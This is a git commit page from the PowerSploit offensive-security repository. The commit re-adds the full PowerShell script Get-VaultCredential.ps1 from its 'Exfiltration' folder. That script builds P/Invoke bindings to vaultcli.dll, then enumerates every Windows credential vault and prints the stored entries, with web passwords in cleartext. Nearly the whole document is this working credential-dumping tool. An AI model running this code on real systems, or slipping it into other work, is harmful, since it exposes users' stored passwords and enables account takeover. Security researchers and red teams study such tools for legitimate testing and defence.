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| author | Matt Graeber <PowerShellMafia@users.noreply.github.com> | 2015-11-04 13:41:36 -0500 | 
|---|---|---|
| committer | Matt Graeber <PowerShellMafia@users.noreply.github.com> | 2015-11-04 13:41:36 -0500 | 
| commit | 2dd1f5920d08d877628154bcbe8c2a93f2b835af (patch) | |
| tree | fc68c81f32a44c893a16849baab858ef1667c7c9 /Exfiltration/Get-VaultCredential.ps1 | |
| parent | 5a812ce82361bf65443fc9c545c091e21e98fe80 (diff) | |
| download | PowerSploit-2dd1f5920d08d877628154bcbe8c2a93f2b835af.tar.gz PowerSploit-2dd1f5920d08d877628154bcbe8c2a93f2b835af.zip | |
Revert "Normalizing all files to ascii encoding"
This reverts commit 5a812ce82361bf65443fc9c545c091e21e98fe80.
Diffstat (limited to 'Exfiltration/Get-VaultCredential.ps1')
| -rw-r--r-- | Exfiltration/Get-VaultCredential.ps1 | 401 | 
1 files changed, 401 insertions, 0 deletions
| diff --git a/Exfiltration/Get-VaultCredential.ps1 b/Exfiltration/Get-VaultCredential.ps1 index e69de29..c830fa2 100644 --- a/Exfiltration/Get-VaultCredential.ps1 +++ b/Exfiltration/Get-VaultCredential.ps1 @@ -0,0 +1,401 @@ +function Get-VaultCredential +{ +<# +.SYNOPSIS + +Displays Windows vault credential objects including cleartext web credentials. + +PowerSploit Function: Get-VaultCredential +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None +  +.DESCRIPTION + +Get-VaultCredential enumerates and displays all credentials stored in the Windows +vault. Web credentials, specifically are displayed in cleartext. This script was +inspired by the following C implementation: http://www.oxid.it/downloads/vaultdump.txt + +.EXAMPLE + +Get-VaultCredential + +.NOTES + +Only web credentials can be displayed in cleartext. +#> +    [CmdletBinding()] Param() + +    $OSVersion = [Environment]::OSVersion.Version +    $OSMajor = $OSVersion.Major +    $OSMinor = $OSVersion.Minor + +    #region P/Invoke declarations for vaultcli.dll +    $DynAssembly = New-Object System.Reflection.AssemblyName('VaultUtil') +    $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) +    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VaultUtil', $False) + +    $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_ELEMENT_TYPE', 'Public', [Int32]) +    $null = $EnumBuilder.DefineLiteral('Undefined', -1) +    $null = $EnumBuilder.DefineLiteral('Boolean', 0) +    $null = $EnumBuilder.DefineLiteral('Short', 1) +    $null = $EnumBuilder.DefineLiteral('UnsignedShort', 2) +    $null = $EnumBuilder.DefineLiteral('Int', 3) +    $null = $EnumBuilder.DefineLiteral('UnsignedInt', 4) +    $null = $EnumBuilder.DefineLiteral('Double', 5) +    $null = $EnumBuilder.DefineLiteral('Guid', 6) +    $null = $EnumBuilder.DefineLiteral('String', 7) +    $null = $EnumBuilder.DefineLiteral('ByteArray', 8) +    $null = $EnumBuilder.DefineLiteral('TimeStamp', 9) +    $null = $EnumBuilder.DefineLiteral('ProtectedArray', 10) +    $null = $EnumBuilder.DefineLiteral('Attribute', 11) +    $null = $EnumBuilder.DefineLiteral('Sid', 12) +    $null = $EnumBuilder.DefineLiteral('Last', 13) +    $VAULT_ELEMENT_TYPE = $EnumBuilder.CreateType() + +    $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_SCHEMA_ELEMENT_ID', 'Public', [Int32]) +    $null = $EnumBuilder.DefineLiteral('Illegal', 0) +    $null = $EnumBuilder.DefineLiteral('Resource', 1) +    $null = $EnumBuilder.DefineLiteral('Identity', 2) +    $null = $EnumBuilder.DefineLiteral('Authenticator', 3) +    $null = $EnumBuilder.DefineLiteral('Tag', 4) +    $null = $EnumBuilder.DefineLiteral('PackageSid', 5) +    $null = $EnumBuilder.DefineLiteral('AppStart', 100) +    $null = $EnumBuilder.DefineLiteral('AppEnd', 10000) +    $VAULT_SCHEMA_ELEMENT_ID = $EnumBuilder.CreateType() + +    $LayoutConstructor = [Runtime.InteropServices.StructLayoutAttribute].GetConstructor([Runtime.InteropServices.LayoutKind]) +    $CharsetField = [Runtime.InteropServices.StructLayoutAttribute].GetField('CharSet') +    $StructLayoutCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($LayoutConstructor, +                                                                                     @([Runtime.InteropServices.LayoutKind]::Explicit), +                                                                                     $CharsetField, +                                                                                     @([Runtime.InteropServices.CharSet]::Ansi)) +    $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + +    $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM', $StructAttributes, [Object], [System.Reflection.Emit.PackingSize]::Size4) +    $null = $TypeBuilder.DefineField('SchemaId', [Guid], 'Public') +    $null = $TypeBuilder.DefineField('pszCredentialFriendlyName', [IntPtr], 'Public') +    $null = $TypeBuilder.DefineField('pResourceElement', [IntPtr], 'Public') +    $null = $TypeBuilder.DefineField('pIdentityElement', [IntPtr], 'Public') +    $null = $TypeBuilder.DefineField('pAuthenticatorElement', [IntPtr], 'Public') +    if ($OSMajor -ge 6 -and $OSMinor -ge 2) +    { +        $null = $TypeBuilder.DefineField('pPackageSid', [IntPtr], 'Public') +    } +    $null = $TypeBuilder.DefineField('LastModified', [UInt64], 'Public') +    $null = $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') +    $null = $TypeBuilder.DefineField('dwPropertiesCount', [UInt32], 'Public') +    $null = $TypeBuilder.DefineField('pPropertyElements', [IntPtr], 'Public') +    $VAULT_ITEM = $TypeBuilder.CreateType() + +    $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM_ELEMENT', $StructAttributes) +    $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) +    $null = $TypeBuilder.DefineField('SchemaElementId', $VAULT_SCHEMA_ELEMENT_ID, 'Public').SetOffset(0) +    $null = $TypeBuilder.DefineField('Type', $VAULT_ELEMENT_TYPE, 'Public').SetOffset(8) +    $VAULT_ITEM_ELEMENT = $TypeBuilder.CreateType() + + +    $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.Vaultcli', 'Public, Class') +    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultOpenVault', +                                                      'vaultcli.dll', +                                                      'Public, Static', +                                                      [Reflection.CallingConventions]::Standard, +                                                      [Int32], +                                                      [Type[]] @([Guid].MakeByRefType(), +                                                                 [UInt32], +                                                                 [IntPtr].MakeByRefType()), +                                                      [Runtime.InteropServices.CallingConvention]::Winapi, +                                                      [Runtime.InteropServices.CharSet]::Auto) + +    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultCloseVault', +                                                      'vaultcli.dll', +                                                      'Public, Static', +                                                      [Reflection.CallingConventions]::Standard, +                                                      [Int32], +                                                      [Type[]] @([IntPtr].MakeByRefType()), +                                                      [Runtime.InteropServices.CallingConvention]::Winapi, +                                                      [Runtime.InteropServices.CharSet]::Auto) + +    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultFree', +                                                      'vaultcli.dll', +                                                      'Public, Static', +                                                      [Reflection.CallingConventions]::Standard, +                                                      [Int32], +                                                      [Type[]] @([IntPtr]), +                                                      [Runtime.InteropServices.CallingConvention]::Winapi, +                                                      [Runtime.InteropServices.CharSet]::Auto) + +    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateVaults', +                                                      'vaultcli.dll', +                                                      'Public, Static', +                                                      [Reflection.CallingConventions]::Standard, +                                                      [Int32], +                                                      [Type[]] @([Int32], +                                                                 [Int32].MakeByRefType(), +                                                                 [IntPtr].MakeByRefType()), +                                                      [Runtime.InteropServices.CallingConvention]::Winapi, +                                                      [Runtime.InteropServices.CharSet]::Auto) + +    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateItems', +                                                      'vaultcli.dll', +                                                      'Public, Static', +                                                      [Reflection.CallingConventions]::Standard, +                                                      [Int32], +                                                      [Type[]] @([IntPtr], +                                                                 [Int32], +                                                                 [Int32].MakeByRefType(), +                                                                 [IntPtr].MakeByRefType()), +                                                      [Runtime.InteropServices.CallingConvention]::Winapi, +                                                      [Runtime.InteropServices.CharSet]::Auto) + +    if ($OSMajor -ge 6 -and $OSMinor -ge 2) +    { +        $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem', +                                                          'vaultcli.dll', +                                                          'Public, Static', +                                                          [Reflection.CallingConventions]::Standard, +                                                          [Int32], +                                                          [Type[]] @([IntPtr], +                                                                     [Guid].MakeByRefType(), +                                                                     [IntPtr], +                                                                     [IntPtr], +                                                                     [IntPtr], +                                                                     [IntPtr], +                                                                     [Int32], +                                                                     [IntPtr].MakeByRefType()), +                                                          [Runtime.InteropServices.CallingConvention]::Winapi, +                                                          [Runtime.InteropServices.CharSet]::Auto) +    } +    else +    { +        $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem', +                                                          'vaultcli.dll', +                                                          'Public, Static', +                                                          [Reflection.CallingConventions]::Standard, +                                                          [Int32], +                                                          [Type[]] @([IntPtr], +                                                                     [Guid].MakeByRefType(), +                                                                     [IntPtr], +                                                                     [IntPtr], +                                                                     [IntPtr], +                                                                     [Int32], +                                                                     [IntPtr].MakeByRefType()), +                                                          [Runtime.InteropServices.CallingConvention]::Winapi, +                                                          [Runtime.InteropServices.CharSet]::Auto) +    } + +    $Vaultcli = $TypeBuilder.CreateType() +    #endregion + +    # Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct. +    function local:Get-VaultElementValue +    { +        Param ( +            [ValidateScript({$_ -ne [IntPtr]::Zero})] +            [IntPtr] +            $VaultElementPtr +        ) + +        $PartialElement = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultElementPtr, [Type] $VAULT_ITEM_ELEMENT) +        $ElementPtr = [IntPtr] ($VaultElementPtr.ToInt64() + 16) + +        switch ($PartialElement.Type) +        { +            $VAULT_ELEMENT_TYPE::String { +                $StringPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr) +                [Runtime.InteropServices.Marshal]::PtrToStringUni([IntPtr] $StringPtr) +            } + +            $VAULT_ELEMENT_TYPE::Boolean { +                [Bool] [Runtime.InteropServices.Marshal]::ReadByte([IntPtr] $ElementPtr) +            } + +            $VAULT_ELEMENT_TYPE::Short { +                [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr) +            } + +            $VAULT_ELEMENT_TYPE::UnsignedShort { +                [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr) +            } + +            $VAULT_ELEMENT_TYPE::Int { +                [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr) +            } + +            $VAULT_ELEMENT_TYPE::UnsignedInt { +                [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr) +            } + +            $VAULT_ELEMENT_TYPE::Double { +                [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Double]) +            } + +            $VAULT_ELEMENT_TYPE::Guid { +                [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Guid]) +            } + +            $VAULT_ELEMENT_TYPE::Sid { +                $SidPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr) +                Write-Verbose "0x$($SidPtr.ToString('X8'))" +                $SidObject = [Security.Principal.SecurityIdentifier] ([IntPtr] $SidPtr) +                $SidObject.Value +            } + +            # These elements are currently unimplemented. +            # I have yet to see these used in practice. +            $VAULT_ELEMENT_TYPE::ByteArray { $null } +            $VAULT_ELEMENT_TYPE::TimeStamp { $null } +            $VAULT_ELEMENT_TYPE::ProtectedArray { $null } +            $VAULT_ELEMENT_TYPE::Attribute { $null } +            $VAULT_ELEMENT_TYPE::Last { $null } +        } +    } + +    $VaultCount = 0 +    $VaultGuidPtr = [IntPtr]::Zero +    $Result = $Vaultcli::VaultEnumerateVaults(0, [Ref] $VaultCount, [Ref] $VaultGuidPtr) + +    if ($Result -ne 0) +    { +        throw "Unable to enumerate vaults. Error (0x$($Result.ToString('X8')))" +    } + +    $GuidAddress = $VaultGuidPtr + +    $VaultSchema = @{ +        ([Guid] '2F1A6504-0641-44CF-8BB5-3612D865F2E5') = 'Windows Secure Note' +        ([Guid] '3CCD5499-87A8-4B10-A215-608888DD3B55') = 'Windows Web Password Credential' +        ([Guid] '154E23D0-C644-4E6F-8CE6-5069272F999F') = 'Windows Credential Picker Protector' +        ([Guid] '4BF4C442-9B8A-41A0-B380-DD4A704DDB28') = 'Web Credentials' +        ([Guid] '77BC582B-F0A6-4E15-4E80-61736B6F3B29') = 'Windows Credentials' +        ([Guid] 'E69D7838-91B5-4FC9-89D5-230D4D4CC2BC') = 'Windows Domain Certificate Credential' +        ([Guid] '3E0E35BE-1B77-43E7-B873-AED901B6275B') = 'Windows Domain Password Credential' +        ([Guid] '3C886FF3-2669-4AA2-A8FB-3F6759A77548') = 'Windows Extended Credential' +        ([Guid] '00000000-0000-0000-0000-000000000000') = $null +    } + +    if ($VaultCount) +    { +        foreach ($i in 1..$VaultCount) +        { +            $VaultGuid = [Runtime.InteropServices.Marshal]::PtrToStructure($GuidAddress, [Type] [Guid]) +            $GuidAddress = [IntPtr] ($GuidAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] [Guid])) + +            $VaultHandle = [IntPtr]::Zero + +            Write-Verbose "Opening vault - $($VaultSchema[$VaultGuid]) ($($VaultGuid))" + +            $Result = $Vaultcli::VaultOpenVault([Ref] $VaultGuid, 0, [Ref] $VaultHandle) + +            if ($Result -ne 0) +            { +                Write-Error "Unable to open the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))" +                continue +            } + +            $VaultItemCount = 0 +            $VaultItemPtr = [IntPtr]::Zero + +            $Result = $Vaultcli::VaultEnumerateItems($VaultHandle, 512, [Ref] $VaultItemCount, [Ref] $VaultItemPtr) + +            if ($Result -ne 0) +            { +                $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle) +                Write-Error "Unable to enumerate vault items from the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))" +                continue +            } + +            $StructAddress = $VaultItemPtr + +            if ($VaultItemCount) +            { +                foreach ($j in 1..$VaultItemCount) +                { +                    $CurrentItem = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $VAULT_ITEM) +                    $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $VAULT_ITEM)) + +                    $PasswordVaultItem = [IntPtr]::Zero + +                    if ($OSMajor -ge 6 -and $OSMinor -ge 2) +                    { +                        $Result = $Vaultcli::VaultGetItem($VaultHandle, +                                                          [Ref] $CurrentItem.SchemaId, +                                                          $CurrentItem.pResourceElement, +                                                          $CurrentItem.pIdentityElement, +                                                          $CurrentItem.pPackageSid, +                                                          [IntPtr]::Zero, +                                                          0, +                                                          [Ref] $PasswordVaultItem) +                    } +                    else +                    { +                        $Result = $Vaultcli::VaultGetItem($VaultHandle, +                                                          [Ref] $CurrentItem.SchemaId, +                                                          $CurrentItem.pResourceElement, +                                                          $CurrentItem.pIdentityElement, +                                                          [IntPtr]::Zero, +                                                          0, +                                                          [Ref] $PasswordVaultItem) +                    } + +                    $PasswordItem = $null + +                    if ($Result -ne 0) +                    { +                        Write-Error "Error occured retrieving vault item. Error (0x$($Result.ToString('X8')))" +                        continue +                    } +                    else +                    { +                        $PasswordItem = [Runtime.InteropServices.Marshal]::PtrToStructure($PasswordVaultItem, [Type] $VAULT_ITEM) +                    } + +                    if ($VaultSchema.ContainsKey($VaultGuid)) +                    { +                        $VaultType = $VaultSchema[$VaultGuid] +                    } +                    else +                    { +                        $VaultType = $VaultGuid +                    } + +                    if ($PasswordItem.pAuthenticatorElement -ne [IntPtr]::Zero) +                    { +                        $Credential = Get-VaultElementValue $PasswordItem.pAuthenticatorElement +                    } +                    else +                    { +                        $Credential = $null +                    } + +                    $PackageSid = $null + +                    if ($CurrentItem.pPackageSid -and ($CurrentItem.pPackageSid -ne [IntPtr]::Zero)) +                    { +                        $PackageSid = Get-VaultElementValue $CurrentItem.pPackageSid +                    } + + +                    $Properties = @{ +                        Vault = $VaultType +                        Resource = if ($CurrentItem.pResourceElement) { Get-VaultElementValue $CurrentItem.pResourceElement } else { $null } +                        Identity = if ($CurrentItem.pIdentityElement) { Get-VaultElementValue $CurrentItem.pIdentityElement } else { $null } +                        PackageSid = $PackageSid +                        Credential = $Credential +                        LastModified = [DateTime]::FromFileTimeUtc($CurrentItem.LastModified) +                    } + +                    $VaultItem = New-Object PSObject -Property $Properties +                    $VaultItem.PSObject.TypeNames[0] = 'VAULTCLI.VAULTITEM' + +                    $VaultItem + +                    $null = $Vaultcli::VaultFree($PasswordVaultItem) +                } +            } + +            $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle) +        } +    } +}
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